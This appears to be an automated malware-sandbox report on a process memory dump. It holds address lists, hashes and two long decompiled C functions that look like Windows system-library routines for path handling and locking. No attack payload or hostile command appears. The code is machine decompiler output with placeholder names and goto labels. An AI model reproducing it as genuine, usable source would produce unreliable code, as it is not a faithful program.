0x00000000
0x00000000
0x0134637f
0x01346385
0x00000000
0x01346385
0x01345d38
0x01345d3b
0x00000000
0x00000000
0x00000000
0x01345d3b
0x01345d27
0x01345d29
0x00000000
0x00000000
0x00000000
0x01346360
0x00000000
0x01346360
0x01345c10
0x01345c10
0x013463da
0x013463e5
0x013463e5

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b76bf6389474e0d9d81efa62660ddd04c1869c0a97c2ff4ab4fa1af0901c4d3a
Instruction ID: 306a4c45fb5dc0f3542e1a1a3e81c275b4bfadd74796deb2ed5662d96cd834d5
Opcode Fuzzy Hash: b76bf6389474e0d9d81efa62660ddd04c1869c0a97c2ff4ab4fa1af0901c4d3a
Instruction Fuzzy Hash: 57424BB5D10269CFDB24CF68C881BA9BBF1FF45308F1481AAD94DAB252D734A985CF50

Uniqueness

Uniqueness Score: -1.00%

Function 01294120, Relevance: .4, Instructions: 444
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E01294120(signed char __ecx, signed short* __edx, signed short* _a4, signed int _a8, signed short* _a12, signed short* _a16, signed short _a20) {
				signed int _v8;
				void* _v20;
				signed int _v24;
				char _v532;
				char _v540;
				signed short _v544;
				signed int _v548;
				signed short* _v552;
				signed short _v556;
				signed short* _v560;
				signed short* _v564;
				signed short* _v568;
				void* _v570;
				signed short* _v572;
				signed short _v576;
				signed int _v580;
				char _v581;
				void* _v584;
				unsigned int _v588;
				signed short* _v592;
				void* _v597;
				void* _v600;
				void* _v604;
				void* _v609;
				void* _v616;
				void* __ebx;
				void* __edi;
				void* __esi;
				unsigned int _t161;
				signed int _t162;
				unsigned int _t163;
				void* _t169;
				signed short _t173;
				signed short _t177;
				signed short _t181;
				unsigned int _t182;
				signed int _t185;
				signed int _t213;
				signed int _t225;
				short _t233;
				signed char _t234;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int _t250;
				void* _t251;
				signed short* _t254;
				void* _t255;
				signed int _t256;
				void* _t257;
				signed short* _t260;
				signed short _t265;
				signed short* _t269;
				signed short _t271;
				signed short** _t272;
				signed short* _t275;
				signed short _t282;
				signed short _t283;
				signed short _t290;
				signed short _t299;
				signed short _t307;
				signed int _t308;
				signed short _t311;
				signed short* _t315;
				signed short _t316;
				void* _t317;
				void* _t319;
				signed short* _t321;
				void* _t322;
				void* _t323;
				unsigned int _t324;
				signed int _t325;
				void* _t326;
				signed int _t327;
				signed int _t329;

				_t329 = (_t327 & 0xfffffff8) - 0x24c;
				_v8 =  *0x136d360 ^ _t329;
				_t157 = _a8;
				_t321 = _a4;
				_t315 = __edx;
				_v548 = __ecx;
				_t305 = _a20;
				_v560 = _a12;
				_t260 = _a16;
				_v564 = __edx;
				_v580 = _a8;
				_v572 = _t260;
				_v544 = _a20;
				if( *__edx <= 8) {
					L3:
					if(_t260 != 0) {
						 *_t260 = 0;
					}
					_t254 =  &_v532;
					_v588 = 0x208;
					if((_v548 & 0x00000001) != 0) {
						_v556 =  *_t315;
						_v552 = _t315[2];
						_t161 = E012AF232( &_v556);
						_t316 = _v556;
						_v540 = _t161;
						goto L17;
					} else {
						_t306 = 0x208;
						_t298 = _t315;
						_t316 = E01296E30(_t315, 0x208, _t254, _t260,  &_v581,  &_v540);
						if(_t316 == 0) {
							L68:
							_t322 = 0xc0000033;
							goto L39;
						} else {
							while(_v581 == 0) {
								_t233 = _v588;
								if(_t316 > _t233) {
									_t234 = _v548;
									if((_t234 & 0x00000004) != 0 || (_t234 & 0x00000008) == 0 &&  *((char*)( *[fs:0x30] + 3)) < 0) {
										_t254 = L01294620(_t298,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t316);
										if(_t254 == 0) {
											_t169 = 0xc0000017;
										} else {
											_t298 = _v564;
											_v588 = _t316;
											_t306 = _t316;
											_t316 = E01296E30(_v564, _t316, _t254, _v572,  &_v581,  &_v540);
											if(_t316 != 0) {
												continue;
											} else {
												goto L68;
											}
										}
									} else {
										goto L90;
									}
								} else {
									_v556 = _t316;
									 *((short*)(_t329 + 0x32)) = _t233;
									_v552 = _t254;
									if(_t316 < 2) {
										L11:
										if(_t316 < 4 ||  *_t254 == 0 || _t254[1] != 0x3a) {
											_t161 = 5;
										} else {
											if(_t316 < 6) {
												L87:
												_t161 = 3;
											} else {
												_t242 = _t254[2] & 0x0000ffff;
												if(_t242 != 0x5c) {
													if(_t242 == 0x2f) {
														goto L16;
													} else {
														goto L87;
													}
													goto L101;
												} else {
													L16:
													_t161 = 2;
												}
											}
										}
									} else {
										_t243 =  *_t254 & 0x0000ffff;
										if(_t243 == 0x5c || _t243 == 0x2f) {
											if(_t316 < 4) {
												L81:
												_t161 = 4;
												goto L17;
											} else {
												_t244 = _t254[1] & 0x0000ffff;
												if(_t244 != 0x5c) {
													if(_t244 == 0x2f) {
														goto L60;
													} else {
														goto L81;
													}
												} else {
													L60:
													if(_t316 < 6) {
														L83:
														_t161 = 1;
														goto L17;
													} else {
														_t245 = _t254[2] & 0x0000ffff;
														if(_t245 != 0x2e) {
															if(_t245 == 0x3f) {
																goto L62;
															} else {
																goto L83;
															}
														} else {
															L62:
															if(_t316 < 8) {
																L85:
																_t161 = ((0 | _t316 != 0x00000006) - 0x00000001 & 0x00000006) + 1;
																goto L17;
															} else {
																_t250 = _t254[3] & 0x0000ffff;
																if(_t250 != 0x5c) {
																	if(_t250 == 0x2f) {
																		goto L64;
																	} else {
																		goto L85;
																	}
																} else {
																	L64:
																	_t161 = 6;
																	goto L17;
																}
															}
														}
													}
												}
											}
											goto L101;
										} else {
											goto L11;
										}
									}
									L17:
									if(_t161 != 2) {
										_t162 = _t161 - 1;
										if(_t162 > 5) {
											goto L18;
										} else {
											switch( *((intOrPtr*)(_t162 * 4 +  &M012945F8))) {
												case 0:
													_v568 = 0x1251078;
													__eax = 2;
													goto L20;
												case 1:
													goto L18;
												case 2:
													_t163 = 4;
													goto L19;
											}
										}
										goto L41;
									} else {
										L18:
										_t163 = 0;
										L19:
										_v568 = 0x12511c4;
									}
									L20:
									_v588 = _t163;
									_v564 = _t163 + _t163;
									_t306 =  *_v568 & 0x0000ffff;
									_t265 = _t306 - _v564 + 2 + (_t316 & 0x0000ffff);
									_v576 = _t265;
									if(_t265 > 0xfffe) {
										L90:
										_t322 = 0xc0000106;
									} else {
										if(_t321 != 0) {
											if(_t265 > (_t321[1] & 0x0000ffff)) {
												if(_v580 != 0) {
													goto L23;
												} else {
													_t322 = 0xc0000106;
													goto L39;
												}
											} else {
												_t177 = _t306;
												goto L25;
											}
											goto L101;
										} else {
											if(_v580 == _t321) {
												_t322 = 0xc000000d;
											} else {
												L23:
												_t173 = L01294620(_t265,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t265);
												_t269 = _v592;
												_t269[2] = _t173;
												if(_t173 == 0) {
													_t322 = 0xc0000017;
												} else {
													_t316 = _v556;
													 *_t269 = 0;
													_t321 = _t269;
													_t269[1] = _v576;
													_t177 =  *_v568 & 0x0000ffff;
													L25:
													_v580 = _t177;
													if(_t177 == 0) {
														L29:
														_t307 =  *_t321 & 0x0000ffff;
													} else {
														_t290 =  *_t321 & 0x0000ffff;
														_v576 = _t290;
														_t310 = _t177 & 0x0000ffff;
														if((_t290 & 0x0000ffff) + (_t177 & 0x0000ffff) > (_t321[1] & 0x0000ffff)) {
															_t307 =  *_t321 & 0xffff;
														} else {
															_v576 = _t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2;
															E012BF720(_t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2, _v568[2], _t310);
															_t329 = _t329 + 0xc;
															_t311 = _v580;
															_t225 =  *_t321 + _t311 & 0x0000ffff;
															 *_t321 = _t225;
															if(_t225 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v576 + ((_t311 & 0x0000ffff) >> 1) * 2)) = 0;
															}
															goto L29;
														}
													}
													_t271 = _v556 - _v588 + _v588;
													_v580 = _t307;
													_v576 = _t271;
													if(_t271 != 0) {
														_t308 = _t271 & 0x0000ffff;
														_v588 = _t308;
														if(_t308 + (_t307 & 0x0000ffff) <= (_t321[1] & 0x0000ffff)) {
															_v580 = _t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2;
															E012BF720(_t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2, _v552 + _v564, _t308);
															_t329 = _t329 + 0xc;
															_t213 =  *_t321 + _v576 & 0x0000ffff;
															 *_t321 = _t213;
															if(_t213 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v580 + (_v588 >> 1) * 2)) = 0;
															}
														}
													}
													_t272 = _v560;
													if(_t272 != 0) {
														 *_t272 = _t321;
													}
													_t306 = 0;
													 *((short*)(_t321[2] + (( *_t321 & 0x0000ffff) >> 1) * 2)) = 0;
													_t275 = _v572;
													if(_t275 != 0) {
														_t306 =  *_t275;
														if(_t306 != 0) {
															 *_t275 = ( *_v568 & 0x0000ffff) - _v564 - _t254 + _t306 + _t321[2];
														}
													}
													_t181 = _v544;
													if(_t181 != 0) {
														 *_t181 = 0;
														 *((intOrPtr*)(_t181 + 4)) = 0;
														 *((intOrPtr*)(_t181 + 8)) = 0;
														 *((intOrPtr*)(_t181 + 0xc)) = 0;
														if(_v540 == 5) {
															_t182 = E012752A5(1);
															_v588 = _t182;
															if(_t182 == 0) {
																E0128EB70(1, 0x13679a0);
																goto L38;
															} else {
																_v560 = _t182 + 0xc;
																_t185 = E0128AA20( &_v556, _t182 + 0xc,  &_v556, 1);
																if(_t185 == 0) {
																	_t324 = _v588;
																	goto L97;
																} else {
																	_t306 = _v544;
																	_t282 = ( *_v560 & 0x0000ffff) - _v564 + ( *_v568 & 0x0000ffff) + _t321[2];
																	 *(_t306 + 4) = _t282;
																	_v576 = _t282;
																	_t325 = _t316 -  *_v560 & 0x0000ffff;
																	 *_t306 = _t325;
																	if( *_t282 == 0x5c) {
																		_t149 = _t325 - 2; // -2
																		_t283 = _t149;
																		 *_t306 = _t283;
																		 *(_t306 + 4) = _v576 + 2;
																		_t185 = _t283 & 0x0000ffff;
																	}
																	_t324 = _v588;
																	 *(_t306 + 2) = _t185;
																	if((_v548 & 0x00000002) == 0) {
																		L97:
																		asm("lock xadd [esi], eax");
																		if((_t185 | 0xffffffff) == 0) {
																			_push( *((intOrPtr*)(_t324 + 4)));
																			E012B95D0();
																			L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t324);
																		}
																	} else {
																		 *(_t306 + 0xc) = _t324;
																		 *((intOrPtr*)(_t306 + 8)) =  *((intOrPtr*)(_t324 + 4));
																	}
																	goto L38;
																}
															}
															goto L41;
														}
													}
													L38:
													_t322 = 0;
												}
											}
										}
									}
									L39:
									if(_t254 !=  &_v532) {
										L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t254);
									}
									_t169 = _t322;
								}
								goto L41;
							}
							goto L68;
						}
					}
					L41:
					_pop(_t317);
					_pop(_t323);
					_pop(_t255);
					return E012BB640(_t169, _t255, _v8 ^ _t329, _t306, _t317, _t323);
				} else {
					_t299 = __edx[2];
					if( *_t299 == 0x5c) {
						_t256 =  *(_t299 + 2) & 0x0000ffff;
						if(_t256 != 0x5c) {
							if(_t256 != 0x3f) {
								goto L2;
							} else {
								goto L50;
							}
						} else {
							L50:
							if( *((short*)(_t299 + 4)) != 0x3f ||  *((short*)(_t299 + 6)) != 0x5c) {
								goto L2;
							} else {
								_t251 = E012B3D43(_t315, _t321, _t157, _v560, _v572, _t305);
								_pop(_t319);
								_pop(_t326);
								_pop(_t257);
								return E012BB640(_t251, _t257, _v24 ^ _t329, _t321, _t319, _t326);
							}
						}
					} else {
						L2:
						_t260 = _v572;
						goto L3;
					}
				}
				L101:
			}

0x01294128
0x01294135
0x0129413c
0x01294141
0x01294145
0x01294147
0x0129414e
0x01294151
0x01294159
0x0129415c
0x01294160
0x01294164
0x01294168
0x0129416c
0x0129417f
0x01294181
0x0129446a
0x0129446a
0x0129418c
0x01294195
0x01294199
0x01294432
0x01294439
0x0129443d
0x01294442
0x01294447
0x00000000
0x0129419f
0x012941a3
0x012941b1
0x012941b9
0x012941bd
0x012945db
0x012945db
0x00000000
0x012941c3
0x012941c3
0x012941ce
0x012941d4
0x012de138
0x012de13e
0x012de169
0x012de16d
0x012de19e
0x012de16f
0x012de16f
0x012de175
0x012de179
0x012de18f
0x012de193
0x00000000
0x012de199
0x00000000
0x012de199
0x012de193
0x00000000
0x00000000
0x00000000
0x012941da
0x012941da
0x012941df
0x012941e4
0x012941ec
0x01294203
0x01294207
0x012de1fd
0x01294222
0x01294226
0x012de1f3
0x012de1f3
0x0129422c
0x0129422c
0x01294233
0x012de1ed
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x01294239
0x01294239
0x01294239
0x01294239
0x01294233
0x01294226
0x012941ee
0x012941ee
0x012941f4
0x01294575
0x012de1b1
0x012de1b1
0x00000000
0x0129457b
0x0129457b
0x01294582
0x012de1ab
0x00000000
0x00000000
0x00000000
0x00000000
0x01294588
0x01294588
0x0129458c
0x012de1c4
0x012de1c4
0x00000000
0x01294592
0x01294592
0x01294599
0x012de1be
0x00000000
0x00000000
0x00000000
0x00000000
0x0129459f
0x0129459f
0x012945a3
0x012de1d7
0x012de1e4
0x00000000
0x012945a9
0x012945a9
0x012945b0
0x012de1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x012945b6
0x012945b6
0x012945b6
0x00000000
0x012945b6
0x012945b0
0x012945a3
0x01294599
0x0129458c
0x01294582
0x00000000
0x00000000
0x00000000
0x00000000
0x012941f4
0x0129423e
0x01294241
0x012945c0
0x012945c4
0x00000000
0x012945ca
0x012945ca
0x00000000
0x012de207
0x012de20f
0x00000000
0x00000000
0x00000000
0x00000000
0x012945d1
0x00000000
0x00000000
0x012945ca
0x00000000
0x01294247
0x01294247
0x01294247
0x01294249
0x01294249
0x01294249
0x01294251
0x01294251
0x01294257
0x0129425f
0x0129426e
0x01294270
0x0129427a
0x012de219
0x012de219
0x01294280
0x01294282
0x01294456
0x012945ea
0x00000000
0x012945f0
0x012de223
0x00000000
0x012de223
0x0129445c
0x0129445c
0x00000000
0x0129445c
0x00000000
0x01294288
0x0129428c
0x012de298
0x01294292
0x01294292
0x0129429e
0x012942a3
0x012942a7
0x012942ac
0x012de22d
0x012942b2
0x012942b2
0x012942b9
0x012942bc
0x012942c2
0x012942ca
0x012942cd
0x012942cd
0x012942d4
0x0129433f
0x0129433f
0x012942d6
0x012942d6
0x012942d9
0x012942dd
0x012942eb
0x012de23a
0x012942f1
0x01294305
0x0129430d
0x01294315
0x01294318
0x0129431f
0x01294322
0x0129432e
0x0129433b
0x0129433b
0x00000000
0x0129432e
0x012942eb
0x0129434c
0x0129434e
0x01294352
0x01294359
0x0129435e
0x01294361
0x0129436e
0x0129438a
0x0129438e
0x01294396
0x0129439e
0x012943a1
0x012943ad
0x012943bb
0x012943bb
0x012943ad
0x0129436e
0x012943bf
0x012943c5
0x01294463
0x01294463
0x012943ce
0x012943d5
0x012943d9
0x012943df
0x01294475
0x01294479
0x01294491
0x01294491
0x01294479
0x012943e5
0x012943eb
0x012943f4
0x012943f6
0x012943f9
0x012943fc
0x012943ff
0x012944e8
0x012944ed
0x012944f3
0x012de247
0x00000000
0x012944f9
0x01294504
0x01294508
0x0129450f
0x012de269
0x00000000
0x01294515
0x01294519
0x01294531
0x01294534
0x01294537
0x0129453e
0x01294541
0x0129454a
0x012de255
0x012de255
0x012de25b
0x012de25e
0x012de261
0x012de261
0x01294555
0x01294559
0x0129455d
0x012de26d
0x012de270
0x012de274
0x012de27a
0x012de27d
0x012de28e
0x012de28e
0x01294563
0x01294563
0x01294569
0x01294569
0x00000000
0x0129455d
0x0129450f
0x00000000
0x012944f3
0x012943ff
0x01294405
0x01294405
0x01294405
0x012942ac
0x0129428c
0x01294282
0x01294407
0x0129440d
0x012de2af
0x012de2af
0x01294413
0x01294413
0x00000000
0x012941d4
0x00000000
0x012941c3
0x012941bd
0x01294415
0x01294415
0x01294416
0x01294417
0x01294429
0x0129416e
0x0129416e
0x01294175
0x01294498
0x0129449f
0x012de12d
0x00000000
0x012de133
0x00000000
0x012de133
0x012944a5
0x012944a5
0x012944aa
0x00000000
0x012944bb
0x012944ca
0x012944d6
0x012944d7
0x012944d8
0x012944e3
0x012944e3
0x012944aa
0x0129417b
0x0129417b
0x0129417b
0x00000000
0x0129417b
0x01294175
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1443ba0e3698fb2af1a81960817c9f8d8e3a04c1bf913f79cf7a0cd177fab55
Instruction ID: 6232b709ac5946c532031debbbbb06a3f5587ae8fdd0dfe7d7d9d998d09cc796
Opcode Fuzzy Hash: e1443ba0e3698fb2af1a81960817c9f8d8e3a04c1bf913f79cf7a0cd177fab55
Instruction Fuzzy Hash: D0F1A0706282928FCB24DF6CC581A7AB7E1FF98714F15492EF985CB250E774D882CB52

Uniqueness

Uniqueness Score: -1.00%

Function 012A20A0, Relevance: .4, Instructions: 420
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E012A20A0(void* __ebx, unsigned int __ecx, signed int __edx, void* __eflags, intOrPtr* _a4, signed int _a8, intOrPtr* _a12, void* _a16, intOrPtr* _a20) {
				signed int _v16;
				signed int _v20;
				signed char _v24;
				intOrPtr _v28;
				signed int _v32;
				void* _v36;
				char _v48;
				signed int _v52;
				signed int _v56;
				unsigned int _v60;
				char _v64;
				unsigned int _v68;
				signed int _v72;
				char _v73;
				signed int _v74;
				char _v75;
				signed int _v76;
				void* _v81;
				void* _v82;
				void* _v89;
				void* _v92;
				void* _v97;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t128;
				void* _t129;
				signed int _t130;
				void* _t132;
				signed char _t133;
				intOrPtr _t135;
				signed int _t137;
				signed int _t140;
				signed int* _t144;
				signed int* _t145;
				intOrPtr _t146;
				signed int _t147;
				signed char* _t148;
				signed int _t149;
				signed int _t153;
				signed int _t169;
				signed int _t174;
				signed int _t180;
				void* _t197;
				void* _t198;
				signed int _t201;
				intOrPtr* _t202;
				intOrPtr* _t205;
				signed int _t210;
				signed int _t215;
				signed int _t218;
				signed char _t221;
				signed int _t226;
				char _t227;
				signed int _t228;
				void* _t229;
				unsigned int _t231;
				void* _t235;
				signed int _t240;
				signed int _t241;
				void* _t242;
				signed int _t246;
				signed int _t248;
				signed int _t252;
				signed int _t253;
				void* _t254;
				intOrPtr* _t256;
				intOrPtr _t257;
				unsigned int _t262;
				signed int _t265;
				void* _t267;
				signed int _t275;

				_t198 = __ebx;
				_t267 = (_t265 & 0xfffffff0) - 0x48;
				_v68 = __ecx;
				_v73 = 0;
				_t201 = __edx & 0x00002000;
				_t128 = __edx & 0xffffdfff;
				_v74 = __edx & 0xffffff00 | __eflags != 0x00000000;
				_v72 = _t128;
				if((_t128 & 0x00000008) != 0) {
					__eflags = _t128 - 8;
					if(_t128 != 8) {
						L69:
						_t129 = 0xc000000d;
						goto L23;
					} else {
						_t130 = 0;
						_v72 = 0;
						_v75 = 1;
						L2:
						_v74 = 1;
						_t226 =  *0x1368714; // 0x0
						if(_t226 != 0) {
							__eflags = _t201;
							if(_t201 != 0) {
								L62:
								_v74 = 1;
								L63:
								_t130 = _t226 & 0xffffdfff;
								_v72 = _t130;
								goto L3;
							}
							_v74 = _t201;
							__eflags = _t226 & 0x00002000;
							if((_t226 & 0x00002000) == 0) {
								goto L63;
							}
							goto L62;
						}
						L3:
						_t227 = _v75;
						L4:
						_t240 = 0;
						_v56 = 0;
						_t252 = _t130 & 0x00000100;
						if(_t252 != 0 || _t227 != 0) {
							_t240 = _v68;
							_t132 = E012A2EB0(_t240);
							__eflags = _t132 - 2;
							if(_t132 != 2) {
								__eflags = _t132 - 1;
								if(_t132 == 1) {
									goto L25;
								}
								__eflags = _t132 - 6;
								if(_t132 == 6) {
									__eflags =  *((short*)(_t240 + 4)) - 0x3f;
									if( *((short*)(_t240 + 4)) != 0x3f) {
										goto L40;
									}
									_t197 = E012A2EB0(_t240 + 8);
									__eflags = _t197 - 2;
									if(_t197 == 2) {
										goto L25;
									}
								}
								L40:
								_t133 = 1;
								L26:
								_t228 = _v75;
								_v56 = _t240;
								__eflags = _t133;
								if(_t133 != 0) {
									__eflags = _t228;
									if(_t228 == 0) {
										L43:
										__eflags = _v72;
										if(_v72 == 0) {
											goto L8;
										}
										goto L69;
									}
									_t133 = E012758EC(_t240);
									_t221 =  *0x1365cac; // 0x16
									__eflags = _t221 & 0x00000040;
									if((_t221 & 0x00000040) != 0) {
										_t228 = 0;
										__eflags = _t252;
										if(_t252 != 0) {
											goto L43;
										}
										_t133 = _v72;
										goto L7;
									}
									goto L43;
								} else {
									_t133 = _v72;
									goto L6;
								}
							}
							L25:
							_t133 = _v73;
							goto L26;
						} else {
							L6:
							_t221 =  *0x1365cac; // 0x16
							L7:
							if(_t133 != 0) {
								__eflags = _t133 & 0x00001000;
								if((_t133 & 0x00001000) != 0) {
									_t133 = _t133 | 0x00000a00;
									__eflags = _t221 & 0x00000004;
									if((_t221 & 0x00000004) != 0) {
										_t133 = _t133 | 0x00000400;
									}
								}
								__eflags = _t228;
								if(_t228 != 0) {
									_t133 = _t133 | 0x00000100;
								}
								_t229 = E012B4A2C(0x1366e40, 0x12b4b30, _t133, _t240);
								__eflags = _t229;
								if(_t229 == 0) {
									_t202 = _a20;
									goto L100;
								} else {
									_t135 =  *((intOrPtr*)(_t229 + 0x38));
									L15:
									_t202 = _a20;
									 *_t202 = _t135;
									if(_t229 == 0) {
										L100:
										 *_a4 = 0;
										_t137 = _a8;
										__eflags = _t137;
										if(_t137 != 0) {
											 *_t137 = 0;
										}
										 *_t202 = 0;
										_t129 = 0xc0000017;
										goto L23;
									} else {
										_t242 = _a16;
										if(_t242 != 0) {
											_t254 = _t229;
											memcpy(_t242, _t254, 0xd << 2);
											_t267 = _t267 + 0xc;
											_t242 = _t254 + 0x1a;
										}
										_t205 = _a4;
										_t25 = _t229 + 0x48; // 0x48
										 *_t205 = _t25;
										_t140 = _a8;
										if(_t140 != 0) {
											__eflags =  *((char*)(_t267 + 0xa));
											if( *((char*)(_t267 + 0xa)) != 0) {
												 *_t140 =  *((intOrPtr*)(_t229 + 0x44));
											} else {
												 *_t140 = 0;
											}
										}
										_t256 = _a12;
										if(_t256 != 0) {
											 *_t256 =  *((intOrPtr*)(_t229 + 0x3c));
										}
										_t257 =  *_t205;
										_v48 = 0;
										 *((intOrPtr*)(_t267 + 0x2c)) = 0;
										_v56 = 0;
										_v52 = 0;
										_t144 =  *( *[fs:0x30] + 0x50);
										if(_t144 != 0) {
											__eflags =  *_t144;
											if( *_t144 == 0) {
												goto L20;
											}
											_t145 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
											goto L21;
										} else {
											L20:
											_t145 = 0x7ffe0384;
											L21:
											if( *_t145 != 0) {
												_t146 =  *[fs:0x30];
												__eflags =  *(_t146 + 0x240) & 0x00000004;
												if(( *(_t146 + 0x240) & 0x00000004) != 0) {
													_t147 = E01297D50();
													__eflags = _t147;
													if(_t147 == 0) {
														_t148 = 0x7ffe0385;
													} else {
														_t148 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
													}
													__eflags =  *_t148 & 0x00000020;
													if(( *_t148 & 0x00000020) != 0) {
														_t149 = _v72;
														__eflags = _t149;
														if(__eflags == 0) {
															_t149 = 0x1255c80;
														}
														_push(_t149);
														_push( &_v48);
														 *((char*)(_t267 + 0xb)) = E012AF6E0(_t198, _t242, _t257, __eflags);
														_push(_t257);
														_push( &_v64);
														_t153 = E012AF6E0(_t198, _t242, _t257, __eflags);
														__eflags =  *((char*)(_t267 + 0xb));
														if( *((char*)(_t267 + 0xb)) != 0) {
															__eflags = _t153;
															if(_t153 != 0) {
																__eflags = 0;
																E012F7016(0x14c1, 0, 0, 0,  &_v72,  &_v64);
																L01292400(_t267 + 0x20);
															}
															L01292400( &_v64);
														}
													}
												}
											}
											_t129 = 0;
											L23:
											return _t129;
										}
									}
								}
							}
							L8:
							_t275 = _t240;
							if(_t275 != 0) {
								_v73 = 0;
								_t253 = 0;
								__eflags = 0;
								L29:
								_push(0);
								_t241 = E012A2397(_t240);
								__eflags = _t241;
								if(_t241 == 0) {
									_t229 = 0;
									L14:
									_t135 = 0;
									goto L15;
								}
								__eflags =  *((char*)(_t267 + 0xb));
								 *(_t241 + 0x34) = 1;
								if( *((char*)(_t267 + 0xb)) != 0) {
									E01292280(_t134, 0x1368608);
									__eflags =  *0x1366e48 - _t253; // 0x0
									if(__eflags != 0) {
										L48:
										_t253 = 0;
										__eflags = 0;
										L49:
										E0128FFB0(_t198, _t241, 0x1368608);
										__eflags = _t253;
										if(_t253 != 0) {
											L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t253);
										}
										goto L31;
									}
									 *0x1366e48 = _t241;
									 *(_t241 + 0x34) =  *(_t241 + 0x34) + 1;
									__eflags = _t253;
									if(_t253 != 0) {
										_t57 = _t253 + 0x34;
										 *_t57 =  *(_t253 + 0x34) + 0xffffffff;
										__eflags =  *_t57;
										if( *_t57 == 0) {
											goto L49;
										}
									}
									goto L48;
								}
								L31:
								_t229 = _t241;
								goto L14;
							}
							_v73 = 1;
							_v64 = _t240;
							asm("lock bts dword [esi], 0x0");
							if(_t275 < 0) {
								_t231 =  *0x1368608; // 0x0
								while(1) {
									_v60 = _t231;
									__eflags = _t231 & 0x00000001;
									if((_t231 & 0x00000001) != 0) {
										goto L76;
									}
									_t73 = _t231 + 1; // 0x1
									_t210 = _t73;
									asm("lock cmpxchg [edi], ecx");
									__eflags = _t231 - _t231;
									if(_t231 != _t231) {
										L92:
										_t133 = E012A6B90(_t210,  &_v64);
										_t262 =  *0x1368608; // 0x0
										L93:
										_t231 = _t262;
										continue;
									}
									_t240 = _v56;
									goto L10;
									L76:
									_t169 = E012AE180(_t133);
									__eflags = _t169;
									if(_t169 != 0) {
										_push(0xc000004b);
										_push(0xffffffff);
										E012B97C0();
										_t231 = _v68;
									}
									_v72 = 0;
									_v24 =  *( *[fs:0x18] + 0x24);
									_v16 = 3;
									_v28 = 0;
									__eflags = _t231 & 0x00000002;
									if((_t231 & 0x00000002) == 0) {
										_v32 =  &_v36;
										_t174 = _t231 >> 4;
										__eflags = 1 - _t174;
										_v20 = _t174;
										asm("sbb ecx, ecx");
										_t210 = 3 |  &_v36;
										__eflags = _t174;
										if(_t174 == 0) {
											_v20 = 0xfffffffe;
										}
									} else {
										_v32 = 0;
										_v20 = 0xffffffff;
										_v36 = _t231 & 0xfffffff0;
										_t210 = _t231 & 0x00000008 |  &_v36 | 0x00000007;
										_v72 =  !(_t231 >> 2) & 0xffffff01;
									}
									asm("lock cmpxchg [edi], esi");
									_t262 = _t231;
									__eflags = _t262 - _t231;
									if(_t262 != _t231) {
										goto L92;
									} else {
										__eflags = _v72;
										if(_v72 != 0) {
											E012B006A(0x1368608, _t210);
										}
										__eflags =  *0x7ffe036a - 1;
										if(__eflags <= 0) {
											L89:
											_t133 =  &_v16;
											asm("lock btr dword [eax], 0x1");
											if(__eflags >= 0) {
												goto L93;
											} else {
												goto L90;
											}
											do {
												L90:
												_push(0);
												_push(0x1368608);
												E012BB180();
												_t133 = _v24;
												__eflags = _t133 & 0x00000004;
											} while ((_t133 & 0x00000004) == 0);
											goto L93;
										} else {
											_t218 =  *0x1366904; // 0x400
											__eflags = _t218;
											if(__eflags == 0) {
												goto L89;
											} else {
												goto L87;
											}
											while(1) {
												L87:
												__eflags = _v16 & 0x00000002;
												if(__eflags == 0) {
													goto L89;
												}
												asm("pause");
												_t218 = _t218 - 1;
												__eflags = _t218;
												if(__eflags != 0) {
													continue;
												}
												goto L89;
											}
											goto L89;
										}
									}
								}
							}
							L10:
							_t229 =  *0x1366e48; // 0x0
							_v72 = _t229;
							if(_t229 == 0 ||  *((char*)(_t229 + 0x40)) == 0 &&  *((intOrPtr*)(_t229 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
								E0128FFB0(_t198, _t240, 0x1368608);
								_t253 = _v76;
								goto L29;
							} else {
								 *((intOrPtr*)(_t229 + 0x34)) =  *((intOrPtr*)(_t229 + 0x34)) + 1;
								asm("lock cmpxchg [esi], ecx");
								_t215 = 1;
								if(1 != 1) {
									while(1) {
										_t246 = _t215 & 0x00000006;
										_t180 = _t215;
										__eflags = _t246 - 2;
										_v56 = _t246;
										_t235 = (0 | _t246 == 0x00000002) * 4 - 1 + _t215;
										asm("lock cmpxchg [edi], esi");
										_t248 = _v56;
										__eflags = _t180 - _t215;
										if(_t180 == _t215) {
											break;
										}
										_t215 = _t180;
									}
									__eflags = _t248 - 2;
									if(_t248 == 2) {
										__eflags = 0;
										E012B00C2(0x1368608, 0, _t235);
									}
									_t229 = _v72;
								}
								goto L14;
							}
						}
					}
				}
				_t227 = 0;
				_v75 = 0;
				if(_t128 != 0) {
					goto L4;
				}
				goto L2;
			}

0x012a20a0
0x012a20a8
0x012a20ad
0x012a20b3
0x012a20b8
0x012a20c2
0x012a20c7
0x012a20cb
0x012a20d2
0x012a2263
0x012a2266
0x012e5836
0x012e5836
0x00000000
0x012a226c
0x012a226c
0x012a2270
0x012a2274
0x012a20e2
0x012a20e2
0x012a20e6
0x012a20ee
0x012e57dc
0x012e57de
0x012e57ec
0x012e57ec
0x012e57f1
0x012e57f3
0x012e57f8
0x00000000
0x012e57f8
